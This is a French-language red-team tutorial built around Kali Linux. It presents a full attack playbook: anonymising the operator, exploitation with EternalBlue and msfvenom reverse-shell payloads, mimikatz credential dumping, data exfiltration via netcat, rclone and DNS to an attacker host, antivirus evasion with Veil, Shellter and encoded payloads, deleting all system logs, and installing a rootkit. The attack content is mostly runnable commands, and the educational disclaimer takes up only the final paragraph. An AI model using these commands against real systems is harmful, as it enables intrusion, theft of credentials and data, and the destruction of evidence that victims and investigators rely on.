Tutoriel Red Team Master avec Kali Linux

Ce tutoriel vous guide à travers les différentes étapes d'une attaque Red Team en utilisant Kali Linux. Il couvre la préparation, la reconnaissance, l'exploitation, la persistance et l'évasion. Ce document est conçu pour les professionnels en sécurité offensive, en suivant une approche exhaustive et éthique.

🎯 Sommaire

đŸ›Ąïž PrĂ©paration : Protection de l'attaquant

Objectif

L'objectif est de mettre en place une protection maximale pour l'attaquant. Il est crucial de rester anonyme et de ne laisser aucune trace qui pourrait permettre de retracer les actions menées.

Outils utilisés :

Étapes :

1. Utilisation de Tor et Proxychains

sudo apt install tor
sudo service tor start
proxychains firefox https://example.com

Cette configuration garantit que tout votre trafic est acheminé via Tor pour garantir l'anonymat.

2. Changement de l’adresse MAC

sudo apt install macchanger
sudo ifconfig eth0 down
sudo macchanger -r eth0
sudo ifconfig eth0 up

Changer l'adresse MAC permet de masquer l'identité de l'attaquant en dissimulant les informations de la carte réseau utilisée.

3. Protection via un firewall (iptables)

sudo iptables -A INPUT -p tcp --syn -j DROP

Configurer un firewall bloque toute tentative de connexion non autorisée vers la machine de l'attaquant, garantissant une protection supplémentaire.

4. Utilisation de Kali Linux ou Tails en mode Live

Lancer Kali Linux ou Tails en mode live garantit que rien n'est Ă©crit sur le disque dur local, empĂȘchant toute traçabilitĂ© post-opĂ©ration.

📡 Phase 1 : Reconnaissance et Information Gathering

Objectif

Recueillir des informations passives et actives sur la cible afin de découvrir des points faibles exploitables. Cette phase comprend la collecte d'informations depuis des sources publiques sans interaction directe (reconnaissance passive) ainsi que des scans actifs pour détecter des services exposés.

Outils utilisés :

Étapes :

1. Recon-ng (Reconnaissance passive)

recon-ng
workspace create target_workspace
modules add recon/domains-hosts/shodan_host
options set TARGET example.com
run

Utilisez Recon-ng pour automatiser la collecte d'informations telles que les sous-domaines et les adresses IP associées à la cible.

2. Utilisation de Shodan

shodan search apache port:80

Shodan permet de découvrir des appareils connectés à Internet (par exemple des serveurs web) et leurs configurations, utiles pour identifier des services exposés.

3. Récupération des emails et sous-domaines avec theHarvester

theHarvester -d example.com -b all

Cette commande permet de récupérer des informations sur les emails, sous-domaines, et autres informations liées à un domaine spécifique.

4. Automatisation de la reconnaissance avec Spiderfoot

spiderfoot -s example.com -m IP,ASN,whois

Spiderfoot facilite la collecte d’informations DNS, rĂ©seaux sociaux et autres via un processus automatisĂ©.

🔍 Phase 2 : Scanning et ÉnumĂ©ration

Objectif

Identifier les services actifs, les versions de logiciels en cours d'exécution et les vulnérabilités potentielles sur la cible. Le but est de découvrir les points faibles techniques que l'attaquant peut exploiter.

Outils utilisés :

Étapes :

1. Nmap (Scan de ports et services)

nmap -sC -sV -A -p- 10.0.0.1

Nmap est utilisé pour scanner tous les ports ouverts et détecter les versions des services actifs, ainsi que les systÚmes d'exploitation utilisés.

2. Recherche de répertoires cachés avec Gobuster

gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gobuster permet de trouver des répertoires cachés et des fichiers sensibles accessibles via le web.

3. Scan de vulnérabilités web avec Nikto

nikto -h http://example.com

Nikto identifie les vulnérabilités sur les serveurs web en scannant les configurations défaillantes et les versions vulnérables des logiciels.

4. ÉnumĂ©ration des partages avec Enum4linux

enum4linux -a 10.0.0.1

Enum4linux est utilisé pour énumérer les partages Samba et les informations Windows sur un réseau cible, fournissant des détails essentiels sur les utilisateurs, partages, et groupes.

đŸ’„ Phase 3 : Exploitation des VulnĂ©rabilitĂ©s

Objectif

Exploiter les vulnérabilités découvertes pour compromettre la machine cible. Cette phase consiste à utiliser des exploits pour prendre le contrÎle des services vulnérables et obtenir un accÚs à la machine.

Outils utilisés :

Étapes :

1. Exploitation avec Metasploit

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.0.1
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

Utilisez Metasploit pour exploiter la vulnérabilité SMB (EternalBlue) et obtenir un shell Meterpreter sur la cible.

2. Génération de payload avec MSFVenom

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf

Générez des payloads personnalisés pour exécuter un reverse shell et obtenir un accÚs à distance sur la machine cible.

3. Recherche d'exploits avec Searchsploit

searchsploit apache

Searchsploit vous permet de trouver rapidement des exploits pour les services et logiciels identifiés précédemment, dans une base de données locale.

4. Exploitation d'injections SQL avec SQLMap

sqlmap -u "http://example.com/search.php?q=test" --dbs

SQLMap automatise la dĂ©tection et l'exploitation des vulnĂ©rabilitĂ©s SQL Injection sur les formulaires web et les requĂȘtes HTTP.

⚙ Phase 4 : Post-Exploitation et Persistance

Objectif

Maintenir un accÚs persistant sur la machine compromise et prendre le contrÎle total du systÚme. Cette phase consiste à installer des backdoors, à escalader les privilÚges et à récupérer des informations sensibles comme des mots de passe.

Outils utilisés :

Étapes :

1. Extraction de mots de passe avec Mimikatz

mimikatz # sekurlsa::logonpasswords

Mimikatz est utilisĂ© pour extraire les mots de passe en clair et les tickets Kerberos Ă  partir de la mĂ©moire d’un systĂšme Windows.

2. Cartographie AD avec BloodHound

sharpHound.exe -c All

BloodHound permet de cartographier les relations dans un environnement Active Directory et d’identifier les chemins d’escalade de privilùges.

3. Escalade de privilĂšges avec WinPEAS

winPEAS.exe > results.txt

Utilisez WinPEAS pour dĂ©tecter les vulnĂ©rabilitĂ©s locales et escalader les privilĂšges sur un systĂšme Windows. LinPEAS remplit le mĂȘme rĂŽle pour Linux.

☁ Phase 5 : Attaques Cloud et Docker

Objectif

Exploiter les environnements mal configurés sur le cloud et les conteneurs Docker pour obtenir un accÚs non autorisé ou compromettre les ressources cloud.

Outils utilisés :

Étapes :

1. Scan de vulnérabilités Docker avec Trivy

trivy image my-docker-image

Trivy est utilisé pour scanner les images Docker à la recherche de vulnérabilités connues dans les bibliothÚques utilisées par les conteneurs.

2. Audit de sécurité avec ScoutSuite

scout aws --services s3,ec2

ScoutSuite audite les configurations des services cloud pour identifier les failles de sécurité, comme des buckets S3 mal configurés ou des instances EC2 vulnérables.

3. Audit de configurations avec CloudSploit

cloudsploit scan --config myconfig.yml

CloudSploit permet d'auditer en profondeur les environnements AWS et d'autres plateformes cloud pour identifier les configurations non sécurisées.

đŸ’Ÿ Phase 6 : Exfiltration des DonnĂ©es

Objectif

Extraire des informations sensibles depuis la machine compromise tout en Ă©vitant les dĂ©tections. Cette Ă©tape implique l’utilisation de techniques furtives pour transfĂ©rer les donnĂ©es hors du rĂ©seau cible.

Outils utilisés :

Étapes :

1. Transfert de fichiers via Netcat


        # Sur la machine attaquante (en Ă©coute)
        nc -lvp 4444 > secret.txt

        # Sur la machine cible (qui envoie le fichier)
        nc [IP attaquante] 4444 < secret.txt
            

Netcat est utilisé pour transférer des fichiers entre la machine compromise et la machine de l'attaquant via une connexion réseau directe.

2. Synchronisation avec Rclone

rclone sync /path/to/target/folder remote:exfil_data

Rclone permet de synchroniser les fichiers compromis avec des services cloud tels que Google Drive ou Amazon S3 pour une exfiltration rapide et discrĂšte.

3. Exfiltration via DNS

dnsExfil --data "secret_data.txt" --domain "exfil.attacker.com"

L'exfiltration via DNS utilise des requĂȘtes DNS pour envoyer discrĂštement des donnĂ©es depuis la machine cible vers un serveur contrĂŽlĂ© par l'attaquant.

🚹 Phase 7 : Évasion des DĂ©tections et Persistance

Objectif

Rester caché le plus longtemps possible sur le systÚme compromis et éviter les systÚmes de détection tels que les IDS, IPS et antivirus.

Outils utilisés :

Étapes :

1. Payload indétectable avec Veil

veil
use evasion/windows/meterpreter/reverse_tcp
generate

Veil gĂ©nĂšre des payloads indĂ©tectables par les antivirus, permettant Ă  l'attaquant de maintenir un accĂšs persistant sans ĂȘtre repĂ©rĂ©.

2. Injection de shellcode avec Shellter

shellter --stealth
use windows/meterpreter/reverse_tcp

Shellter est utilisé pour injecter du code malveillant dans un exécutable légitime, rendant la détection par les systÚmes de sécurité beaucoup plus difficile.

3. Obfuscation avec Metasploit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe > payload.exe

Metasploit permet d'obfusquer et de chiffrer les payloads, rendant plus difficile leur détection par les systÚmes de détection d'intrusion et antivirus.

đŸ§č Phase 8 : Nettoyage et Évasion Totale

Objectif

Effacer toutes les traces de l'attaque pour éviter toute détection ultérieure. Cette étape inclut la suppression des logs, l'obfuscation des commandes, et l'utilisation de rootkits pour masquer les activités de l'attaquant.

Outils utilisés :

Étapes :

1. Suppression des logs sous Linux

sudo rm -rf /var/log/*

Supprimez les logs systÚme pour effacer toute preuve des actions menées sur la machine cible.

2. Suppression sécurisée avec Shred

shred -n 35 -z sensitive_file.txt

Shred est utilisé pour écraser plusieurs fois les fichiers sensibles avant de les supprimer, rendant leur récupération impossible.

3. Masquage avec Rootkits

sudo ./jynx2_install.sh

Les rootkits sont installĂ©s pour masquer les processus actifs, rendant vos actions indĂ©tectables mĂȘme pour les administrateurs et outils d’analyse forensique.

⚖ Éthique et Conduite Ă  Suivre

Les tests Red Team doivent ĂȘtre menĂ©s dans le cadre lĂ©gal et avec des autorisations explicites. Toute attaque ou intrusion sans consentement est illĂ©gale. Ce document est Ă  usage pĂ©dagogique pour comprendre les mĂ©canismes de dĂ©fense et d’attaque en cybersĂ©curitĂ©. En tant que professionnel de la sĂ©curitĂ©, il est de votre responsabilitĂ© de toujours agir dans les limites Ă©thiques.